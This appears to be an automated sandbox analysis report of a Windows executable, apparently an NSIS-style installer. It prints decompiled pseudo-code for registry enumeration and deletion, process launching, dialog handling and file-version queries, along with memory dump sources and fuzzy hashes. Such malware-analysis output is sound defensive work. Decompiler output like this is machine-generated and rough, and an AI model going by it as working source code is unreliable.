                                                                                                        0x6fc7196e
                                                                                                        0x6fc719d7
                                                                                                        0x6fc719d9
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc719db
                                                                                                        0x6fc719de
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc719de
                                                                                                        0x6fc71970
                                                                                                        0x6fc71970
                                                                                                        0x6fc71971
                                                                                                        0x6fc719aa
                                                                                                        0x6fc719ae
                                                                                                        0x6fc719ca
                                                                                                        0x6fc719cd
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc719cf
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc719d1
                                                                                                        0x6fc719d3
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc719d5
                                                                                                        0x6fc719b0
                                                                                                        0x6fc719b4
                                                                                                        0x6fc719b6
                                                                                                        0x6fc719b8
                                                                                                        0x6fc719ba
                                                                                                        0x6fc719c3
                                                                                                        0x6fc719bc
                                                                                                        0x6fc719bc
                                                                                                        0x6fc719bc
                                                                                                        0x00000000
                                                                                                        0x6fc719ba
                                                                                                        0x6fc71973
                                                                                                        0x6fc71973
                                                                                                        0x6fc71976
                                                                                                        0x6fc719a3
                                                                                                        0x6fc719a5
                                                                                                        0x00000000
                                                                                                        0x6fc719a5
                                                                                                        0x6fc71978
                                                                                                        0x6fc71978
                                                                                                        0x6fc7197b
                                                                                                        0x6fc7198b
                                                                                                        0x6fc7198f
                                                                                                        0x6fc7199c
                                                                                                        0x6fc7199e
                                                                                                        0x00000000
                                                                                                        0x6fc7199e
                                                                                                        0x6fc71991
                                                                                                        0x6fc71993
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71995
                                                                                                        0x6fc71998
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc7199a
                                                                                                        0x6fc7197e
                                                                                                        0x6fc7197f
                                                                                                        0x6fc71985
                                                                                                        0x6fc71987
                                                                                                        0x6fc71987
                                                                                                        0x00000000
                                                                                                        0x6fc7197f
                                                                                                        0x6fc718a8
                                                                                                        0x6fc71920
                                                                                                        0x6fc71922
                                                                                                        0x6fc71925
                                                                                                        0x6fc71943
                                                                                                        0x6fc71946
                                                                                                        0x6fc7194c
                                                                                                        0x6fc71951
                                                                                                        0x6fc71927
                                                                                                        0x6fc71927
                                                                                                        0x6fc7192b
                                                                                                        0x6fc7192f
                                                                                                        0x6fc71931
                                                                                                        0x6fc71931
                                                                                                        0x6fc71954
                                                                                                        0x6fc71957
                                                                                                        0x00000000
                                                                                                        0x6fc7195d
                                                                                                        0x6fc7195d
                                                                                                        0x6fc71960
                                                                                                        0x00000000
                                                                                                        0x6fc71960
                                                                                                        0x6fc71957
                                                                                                        0x6fc718aa
                                                                                                        0x6fc718ad
                                                                                                        0x6fc71911
                                                                                                        0x6fc71913
                                                                                                        0x6fc71915
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc7191b
                                                                                                        0x6fc718af
                                                                                                        0x6fc718b2
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc718b4
                                                                                                        0x6fc718b5
                                                                                                        0x6fc718eb
                                                                                                        0x6fc718ef
                                                                                                        0x6fc71907
                                                                                                        0x6fc71909
                                                                                                        0x00000000
                                                                                                        0x6fc71909
                                                                                                        0x6fc718f1
                                                                                                        0x6fc718f3
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc718f9
                                                                                                        0x6fc718fc
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71902
                                                                                                        0x6fc718b7
                                                                                                        0x6fc718ba
                                                                                                        0x6fc718e1
                                                                                                        0x00000000
                                                                                                        0x6fc718bc
                                                                                                        0x6fc718bc
                                                                                                        0x6fc718bd
                                                                                                        0x6fc718d1
                                                                                                        0x6fc718d3
                                                                                                        0x6fc718bf
                                                                                                        0x6fc718c1
                                                                                                        0x6fc718c7
                                                                                                        0x6fc718c9
                                                                                                        0x6fc718c9
                                                                                                        0x6fc718c1
                                                                                                        0x00000000
                                                                                                        0x6fc718bd

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.659624848.000000006FC71000.00000020.00020000.sdmp, Offset: 6FC70000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.659611892.000000006FC70000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.659642183.000000006FC73000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.659649861.000000006FC75000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: FreeGlobal
                                                                                                        • String ID:
                                                                                                        • API String ID: 2979337801-0
                                                                                                        • Opcode ID: 794c5a21c98185636ff15bd0118bf892a919c09dbb6024ece5897594269db50d
                                                                                                        • Instruction ID: a0188f46a00e05beafe24ad97f8dc1db4e2d918dded9392a3f510ab79f829ec6
                                                                                                        • Opcode Fuzzy Hash: 794c5a21c98185636ff15bd0118bf892a919c09dbb6024ece5897594269db50d
                                                                                                        • Instruction Fuzzy Hash: 3451F332D44298AEDB308FBDC9605AEBBB9FF46369F04015BD414A7140FF31BA468B61
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 84%
                                                                                                        			E00402A36(void* _a4, char* _a8, intOrPtr _a12) {
                                                                                                        				void* _v8;
                                                                                                        				char _v272;
                                                                                                        				long _t18;
                                                                                                        				intOrPtr* _t27;
                                                                                                        				long _t28;
                                                                                                        
                                                                                                        				_t18 = RegOpenKeyExA(_a4, _a8, 0,  *0x423f50 | 0x00000008,  &_v8);
                                                                                                        				if(_t18 == 0) {
                                                                                                        					while(RegEnumKeyA(_v8, 0,  &_v272, 0x105) == 0) {
                                                                                                        						if(_a12 != 0) {
                                                                                                        							RegCloseKey(_v8);
                                                                                                        							L8:
                                                                                                        							return 1;
                                                                                                        						}
                                                                                                        						if(E00402A36(_v8,  &_v272, 0) != 0) {
                                                                                                        							break;
                                                                                                        						}
                                                                                                        					}
                                                                                                        					RegCloseKey(_v8);
                                                                                                        					_t27 = E00405E88(2);
                                                                                                        					if(_t27 == 0) {
                                                                                                        						if( *0x423f50 != 0) {
                                                                                                        							goto L8;
                                                                                                        						}
                                                                                                        						_t28 = RegDeleteKeyA(_a4, _a8);
                                                                                                        						if(_t28 != 0) {
                                                                                                        							goto L8;
                                                                                                        						}
                                                                                                        						return _t28;
                                                                                                        					}
                                                                                                        					return  *_t27(_a4, _a8,  *0x423f50, 0);
                                                                                                        				}
                                                                                                        				return _t18;
                                                                                                        			}








                                                                                                        0x00402a57
                                                                                                        0x00402a5f
                                                                                                        0x00402a87
                                                                                                        0x00402a71
                                                                                                        0x00402ac1
                                                                                                        0x00402ac7
                                                                                                        0x00000000
                                                                                                        0x00402ac9
                                                                                                        0x00402a85
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00402a85
                                                                                                        0x00402a9c
                                                                                                        0x00402aa4
                                                                                                        0x00402aab
                                                                                                        0x00402ad7
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00402adf
                                                                                                        0x00402ae7
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00402ae7
                                                                                                        0x00000000
                                                                                                        0x00402aba
                                                                                                        0x00402ace

                                                                                                        APIs
                                                                                                        • RegOpenKeyExA.ADVAPI32(?,?,00000000,?,?), ref: 00402A57
                                                                                                        • RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402A93
                                                                                                        • RegCloseKey.ADVAPI32(?), ref: 00402A9C
                                                                                                        • RegCloseKey.ADVAPI32(?), ref: 00402AC1
                                                                                                        • RegDeleteKeyA.ADVAPI32(?,?), ref: 00402ADF
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: Close$DeleteEnumOpen
                                                                                                        • String ID:
                                                                                                        • API String ID: 1912718029-0
                                                                                                        • Opcode ID: 90165163457562f2d2db0d0e016cf4740f9c141c2854e05e69f214c53397e3bf
                                                                                                        • Instruction ID: 3ec7b1818cbfc33efeafaf7017db19c7c479205e5d6f4ff66fb244667a93d6f3
                                                                                                        • Opcode Fuzzy Hash: 90165163457562f2d2db0d0e016cf4740f9c141c2854e05e69f214c53397e3bf
                                                                                                        • Instruction Fuzzy Hash: 93112971A00009FFDF319F90DE49EAF7B7DEB44385B104436F905A10A0DBB59E51AE69
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 100%
                                                                                                        			E00401CC1(int __edx) {
                                                                                                        				void* _t17;
                                                                                                        				struct HINSTANCE__* _t21;
                                                                                                        				struct HWND__* _t25;
                                                                                                        				void* _t27;
                                                                                                        
                                                                                                        				_t25 = GetDlgItem( *(_t27 - 0x34), __edx);
                                                                                                        				GetClientRect(_t25, _t27 - 0x40);
                                                                                                        				_t17 = SendMessageA(_t25, 0x172, _t21, LoadImageA(_t21, E004029F6(_t21), _t21,  *(_t27 - 0x38) *  *(_t27 - 0x1c),  *(_t27 - 0x34) *  *(_t27 - 0x1c), 0x10));
                                                                                                        				if(_t17 != _t21) {
                                                                                                        					DeleteObject(_t17);
                                                                                                        				}
                                                                                                        				 *0x423f28 =  *0x423f28 +  *((intOrPtr*)(_t27 - 4));
                                                                                                        				return 0;
                                                                                                        			}







                                                                                                        0x00401ccb
                                                                                                        0x00401cd2
                                                                                                        0x00401d01
                                                                                                        0x00401d09
                                                                                                        0x00401d10
                                                                                                        0x00401d10
                                                                                                        0x0040288e
                                                                                                        0x0040289a

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: ClientDeleteImageItemLoadMessageObjectRectSend
                                                                                                        • String ID:
                                                                                                        • API String ID: 1849352358-0
                                                                                                        • Opcode ID: 70cca8153c69b2e132429069c22b9ddf05dbb7ba62a9a7cfa9b79a9bcebcea9b
                                                                                                        • Instruction ID: de7316f9b9f1bcc3f0c1dff9ae5dc63c91f1472c52c052d8cf8a0da7f27950be
                                                                                                        • Opcode Fuzzy Hash: 70cca8153c69b2e132429069c22b9ddf05dbb7ba62a9a7cfa9b79a9bcebcea9b
                                                                                                        • Instruction Fuzzy Hash: D5F01DB2E04105BFD700EFA4EE89DAFB7BDEB44345B104576F602F2190C6789D018B69
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 51%
                                                                                                        			E004046F1(int _a4, intOrPtr _a8, unsigned int _a12) {
                                                                                                        				char _v36;
                                                                                                        				char _v68;
                                                                                                        				void* __ebx;
                                                                                                        				void* __edi;
                                                                                                        				void* __esi;
                                                                                                        				void* _t26;
                                                                                                        				void* _t34;
                                                                                                        				signed int _t36;
                                                                                                        				signed int _t39;
                                                                                                        				unsigned int _t46;
                                                                                                        
                                                                                                        				_t46 = _a12;
                                                                                                        				_push(0x14);
                                                                                                        				_pop(0);
                                                                                                        				_t34 = 0xffffffdc;
                                                                                                        				if(_t46 < 0x100000) {
                                                                                                        					_push(0xa);
                                                                                                        					_pop(0);
                                                                                                        					_t34 = 0xffffffdd;
                                                                                                        				}
                                                                                                        				if(_t46 < 0x400) {
                                                                                                        					_t34 = 0xffffffde;
                                                                                                        				}
                                                                                                        				if(_t46 < 0xffff3333) {
                                                                                                        					_t39 = 0x14;
                                                                                                        					asm("cdq");
                                                                                                        					_t46 = _t46 + 1 / _t39;
                                                                                                        				}
                                                                                                        				_push(E00405B88(_t34, 0, _t46,  &_v36, 0xffffffdf));
                                                                                                        				_push(E00405B88(_t34, 0, _t46,  &_v68, _t34));
                                                                                                        				_t21 = _t46 & 0x00ffffff;
                                                                                                        				_t36 = 0xa;
                                                                                                        				_push(((_t46 & 0x00ffffff) + _t21 * 4 + (_t46 & 0x00ffffff) + _t21 * 4 >> 0) % _t36);
                                                                                                        				_push(_t46 >> 0);
                                                                                                        				_t26 = E00405B88(_t34, 0, 0x4204a0, 0x4204a0, _a8);
                                                                                                        				wsprintfA(_t26 + lstrlenA(0x4204a0), "%u.%u%s%s");
                                                                                                        				return SetDlgItemTextA( *0x423678, _a4, 0x4204a0);
                                                                                                        			}













                                                                                                        0x004046f9
                                                                                                        0x004046fd
                                                                                                        0x00404705
                                                                                                        0x00404708
                                                                                                        0x00404709
                                                                                                        0x0040470b
                                                                                                        0x0040470d
                                                                                                        0x00404710
                                                                                                        0x00404710
                                                                                                        0x00404717
                                                                                                        0x0040471d
                                                                                                        0x0040471d
                                                                                                        0x00404724
                                                                                                        0x0040472f
                                                                                                        0x00404730
                                                                                                        0x00404733
                                                                                                        0x00404733
                                                                                                        0x00404740
                                                                                                        0x0040474b
                                                                                                        0x0040474e
                                                                                                        0x00404760
                                                                                                        0x00404767
                                                                                                        0x00404768
                                                                                                        0x00404777
                                                                                                        0x00404787
                                                                                                        0x004047a3

                                                                                                        APIs
                                                                                                        • lstrlenA.KERNEL32(004204A0,004204A0,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404611,000000DF,0000040F,00000400,00000000), ref: 0040477F
                                                                                                        • wsprintfA.USER32 ref: 00404787
                                                                                                        • SetDlgItemTextA.USER32 ref: 0040479A
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: ItemTextlstrlenwsprintf
                                                                                                        • String ID: %u.%u%s%s
                                                                                                        • API String ID: 3540041739-3551169577
                                                                                                        • Opcode ID: 900e3a4788bbcdb5831f4eb4ea085b1ecc54347093cfae2cf180548b061950ae
                                                                                                        • Instruction ID: e1128f73888b2767c9277aed1687fd20c93e739cc52df1aac9c0a45a5a8dde9d
                                                                                                        • Opcode Fuzzy Hash: 900e3a4788bbcdb5831f4eb4ea085b1ecc54347093cfae2cf180548b061950ae
                                                                                                        • Instruction Fuzzy Hash: 7311E2736001243BDB10666D9C46EEF3699DBC6335F14423BFA25F61D1E938AC5286A8
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 51%
                                                                                                        			E00401BAD() {
                                                                                                        				signed int _t28;
                                                                                                        				CHAR* _t31;
                                                                                                        				long _t32;
                                                                                                        				int _t37;
                                                                                                        				signed int _t38;
                                                                                                        				int _t42;
                                                                                                        				int _t48;
                                                                                                        				struct HWND__* _t52;
                                                                                                        				void* _t55;
                                                                                                        
                                                                                                        				 *(_t55 - 0x34) = E004029D9(3);
                                                                                                        				 *(_t55 + 8) = E004029D9(4);
                                                                                                        				if(( *(_t55 - 0x10) & 0x00000001) != 0) {
                                                                                                        					 *((intOrPtr*)(__ebp - 0x34)) = E004029F6(0x33);
                                                                                                        				}
                                                                                                        				__eflags =  *(_t55 - 0x10) & 0x00000002;
                                                                                                        				if(( *(_t55 - 0x10) & 0x00000002) != 0) {
                                                                                                        					 *(_t55 + 8) = E004029F6(0x44);
                                                                                                        				}
                                                                                                        				__eflags =  *((intOrPtr*)(_t55 - 0x28)) - 0x21;
                                                                                                        				_push(1);
                                                                                                        				if(__eflags != 0) {
                                                                                                        					_t50 = E004029F6();
                                                                                                        					_t28 = E004029F6();
                                                                                                        					asm("sbb ecx, ecx");
                                                                                                        					asm("sbb eax, eax");
                                                                                                        					_t31 =  ~( *_t27) & _t50;
                                                                                                        					__eflags = _t31;
                                                                                                        					_t32 = FindWindowExA( *(_t55 - 0x34),  *(_t55 + 8), _t31,  ~( *_t28) & _t28);
                                                                                                        					goto L10;
                                                                                                        				} else {
                                                                                                        					_t52 = E004029D9();
                                                                                                        					_t37 = E004029D9();
                                                                                                        					_t48 =  *(_t55 - 0x10) >> 2;
                                                                                                        					if(__eflags == 0) {
                                                                                                        						_t32 = SendMessageA(_t52, _t37,  *(_t55 - 0x34),  *(_t55 + 8));
                                                                                                        						L10:
                                                                                                        						 *(_t55 - 8) = _t32;
                                                                                                        					} else {
                                                                                                        						_t38 = SendMessageTimeoutA(_t52, _t37,  *(_t55 - 0x34),  *(_t55 + 8), _t42, _t48, _t55 - 8);
                                                                                                        						asm("sbb eax, eax");
                                                                                                        						 *((intOrPtr*)(_t55 - 4)) =  ~_t38 + 1;
                                                                                                        					}
                                                                                                        				}
                                                                                                        				__eflags =  *((intOrPtr*)(_t55 - 0x24)) - _t42;
                                                                                                        				if( *((intOrPtr*)(_t55 - 0x24)) >= _t42) {
                                                                                                        					_push( *(_t55 - 8));
                                                                                                        					E00405AC4();
                                                                                                        				}
                                                                                                        				 *0x423f28 =  *0x423f28 +  *((intOrPtr*)(_t55 - 4));
                                                                                                        				return 0;
                                                                                                        			}












                                                                                                        0x00401bb6
                                                                                                        0x00401bc2
                                                                                                        0x00401bc5
                                                                                                        0x00401bce
                                                                                                        0x00401bce
                                                                                                        0x00401bd1
                                                                                                        0x00401bd5
                                                                                                        0x00401bde
                                                                                                        0x00401bde
                                                                                                        0x00401be1
                                                                                                        0x00401be5
                                                                                                        0x00401be7
                                                                                                        0x00401c34
                                                                                                        0x00401c36
                                                                                                        0x00401c3f
                                                                                                        0x00401c47
                                                                                                        0x00401c4a
                                                                                                        0x00401c4a
                                                                                                        0x00401c53
                                                                                                        0x00000000
                                                                                                        0x00401be9
                                                                                                        0x00401bf0
                                                                                                        0x00401bf2
                                                                                                        0x00401bfa
                                                                                                        0x00401bfd
                                                                                                        0x00401c25
                                                                                                        0x00401c59
                                                                                                        0x00401c59
                                                                                                        0x00401bff
                                                                                                        0x00401c0d
                                                                                                        0x00401c15
                                                                                                        0x00401c18
                                                                                                        0x00401c18
                                                                                                        0x00401bfd
                                                                                                        0x00401c5c
                                                                                                        0x00401c5f
                                                                                                        0x00401c65
                                                                                                        0x00402833
                                                                                                        0x00402833
                                                                                                        0x0040288e
                                                                                                        0x0040289a

                                                                                                        APIs
                                                                                                        • SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C0D
                                                                                                        • SendMessageA.USER32 ref: 00401C25
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: MessageSend$Timeout
                                                                                                        • String ID: !
                                                                                                        • API String ID: 1777923405-2657877971
                                                                                                        • Opcode ID: 4c88f05d798f5705ce1e1e18451d2fcf653d7f56610e9d44bad61831beeb824c
                                                                                                        • Instruction ID: 67abd366a37910a3fb0c7fe19d632a25016d3899897cc5a5bd850e91adcb6683
                                                                                                        • Opcode Fuzzy Hash: 4c88f05d798f5705ce1e1e18451d2fcf653d7f56610e9d44bad61831beeb824c
                                                                                                        • Instruction Fuzzy Hash: B721C4B1A44209BFEF01AFB4CE4AAAE7B75EF44344F14053EF602B60D1D6B84980E718
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 100%
                                                                                                        			E004053C6(CHAR* _a4) {
                                                                                                        				struct _PROCESS_INFORMATION _v20;
                                                                                                        				int _t7;
                                                                                                        
                                                                                                        				0x4224a8->cb = 0x44;
                                                                                                        				_t7 = CreateProcessA(0, _a4, 0, 0, 0, 0, 0, 0, 0x4224a8,  &_v20);
                                                                                                        				if(_t7 != 0) {
                                                                                                        					CloseHandle(_v20.hThread);
                                                                                                        					return _v20.hProcess;
                                                                                                        				}
                                                                                                        				return _t7;
                                                                                                        			}





                                                                                                        0x004053cf
                                                                                                        0x004053eb
                                                                                                        0x004053f3
                                                                                                        0x004053f8
                                                                                                        0x00000000
                                                                                                        0x004053fe
                                                                                                        0x00405402

                                                                                                        APIs
                                                                                                        • CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004224A8,Error launching installer), ref: 004053EB
                                                                                                        • CloseHandle.KERNEL32(?), ref: 004053F8
                                                                                                        Strings
                                                                                                        • Error launching installer, xrefs: 004053D9
                                                                                                        • C:\Users\user\AppData\Local\Temp\, xrefs: 004053C6
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: CloseCreateHandleProcess
                                                                                                        • String ID: C:\Users\user\AppData\Local\Temp\$Error launching installer
                                                                                                        • API String ID: 3712363035-1785902839
                                                                                                        • Opcode ID: 3b814a6f076d0ba9038e170a1e0f3647fdefee354992cb10a65e7e77ca0a2381
                                                                                                        • Instruction ID: 069b69ca15cd8b990da55ccc95fe3be7356009797bdfa18ab8f6d6c8c96e71ef
                                                                                                        • Opcode Fuzzy Hash: 3b814a6f076d0ba9038e170a1e0f3647fdefee354992cb10a65e7e77ca0a2381
                                                                                                        • Instruction Fuzzy Hash: A3E0ECB4A00219BFDB00AF64ED49AAB7BBDEB00305F90C522A911E2150D775D8118AB9
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 100%
                                                                                                        			E00405659(CHAR* _a4) {
                                                                                                        				CHAR* _t7;
                                                                                                        
                                                                                                        				_t7 = _a4;
                                                                                                        				if( *(CharPrevA(_t7,  &(_t7[lstrlenA(_t7)]))) != 0x5c) {
                                                                                                        					lstrcatA(_t7, 0x409010);
                                                                                                        				}
                                                                                                        				return _t7;
                                                                                                        			}




                                                                                                        0x0040565a
                                                                                                        0x00405671
                                                                                                        0x00405679
                                                                                                        0x00405679
                                                                                                        0x00405681

                                                                                                        APIs
                                                                                                        • lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403226,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 0040565F
                                                                                                        • CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403226,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405668
                                                                                                        • lstrcatA.KERNEL32(?,00409010), ref: 00405679
                                                                                                        Strings
                                                                                                        • C:\Users\user\AppData\Local\Temp\, xrefs: 00405659
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: CharPrevlstrcatlstrlen
                                                                                                        • String ID: C:\Users\user\AppData\Local\Temp\
                                                                                                        • API String ID: 2659869361-3081826266
                                                                                                        • Opcode ID: f17b2ccdaa8efd10834e0f4341d4d5b977b2bb6e8559feba5c8cad9ccc1df0ef
                                                                                                        • Instruction ID: d5422d5486d5b384c4dcc02911800b35c31fcf4388d9dde419d5dff5703c7688
                                                                                                        • Opcode Fuzzy Hash: f17b2ccdaa8efd10834e0f4341d4d5b977b2bb6e8559feba5c8cad9ccc1df0ef
                                                                                                        • Instruction Fuzzy Hash: 8BD05272605A202ED2022A258C05E9B7A28CF06311B044866B540B2292C6386D818AEE
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 85%
                                                                                                        			E00401EC5(char __ebx, char* __edi, char* __esi) {
                                                                                                        				char* _t18;
                                                                                                        				int _t19;
                                                                                                        				void* _t30;
                                                                                                        
                                                                                                        				_t18 = E004029F6(0xffffffee);
                                                                                                        				 *(_t30 - 0x2c) = _t18;
                                                                                                        				_t19 = GetFileVersionInfoSizeA(_t18, _t30 - 0x30);
                                                                                                        				 *__esi = __ebx;
                                                                                                        				 *(_t30 - 8) = _t19;
                                                                                                        				 *__edi = __ebx;
                                                                                                        				 *((intOrPtr*)(_t30 - 4)) = 1;
                                                                                                        				if(_t19 != __ebx) {
                                                                                                        					__eax = GlobalAlloc(0x40, __eax);
                                                                                                        					 *(__ebp + 8) = __eax;
                                                                                                        					if(__eax != __ebx) {
                                                                                                        						if(__eax != 0) {
                                                                                                        							__ebp - 0x44 = __ebp - 0x34;
                                                                                                        							if(VerQueryValueA( *(__ebp + 8), 0x409010, __ebp - 0x34, __ebp - 0x44) != 0) {
                                                                                                        								 *(__ebp - 0x34) = E00405AC4(__esi,  *((intOrPtr*)( *(__ebp - 0x34) + 8)));
                                                                                                        								 *(__ebp - 0x34) = E00405AC4(__edi,  *((intOrPtr*)( *(__ebp - 0x34) + 0xc)));
                                                                                                        								 *((intOrPtr*)(__ebp - 4)) = __ebx;
                                                                                                        							}
                                                                                                        						}
                                                                                                        						_push( *(__ebp + 8));
                                                                                                        						GlobalFree();
                                                                                                        					}
                                                                                                        				}
                                                                                                        				 *0x423f28 =  *0x423f28 +  *((intOrPtr*)(_t30 - 4));
                                                                                                        				return 0;
                                                                                                        			}






                                                                                                        0x00401ec7
                                                                                                        0x00401ecf
                                                                                                        0x00401ed4
                                                                                                        0x00401ed9
                                                                                                        0x00401edd
                                                                                                        0x00401ee0
                                                                                                        0x00401ee2
                                                                                                        0x00401ee9
                                                                                                        0x00401ef2
                                                                                                        0x00401efa
                                                                                                        0x00401efd
                                                                                                        0x00401f12
                                                                                                        0x00401f18
                                                                                                        0x00401f2b
                                                                                                        0x00401f34
                                                                                                        0x00401f40
                                                                                                        0x00401f45
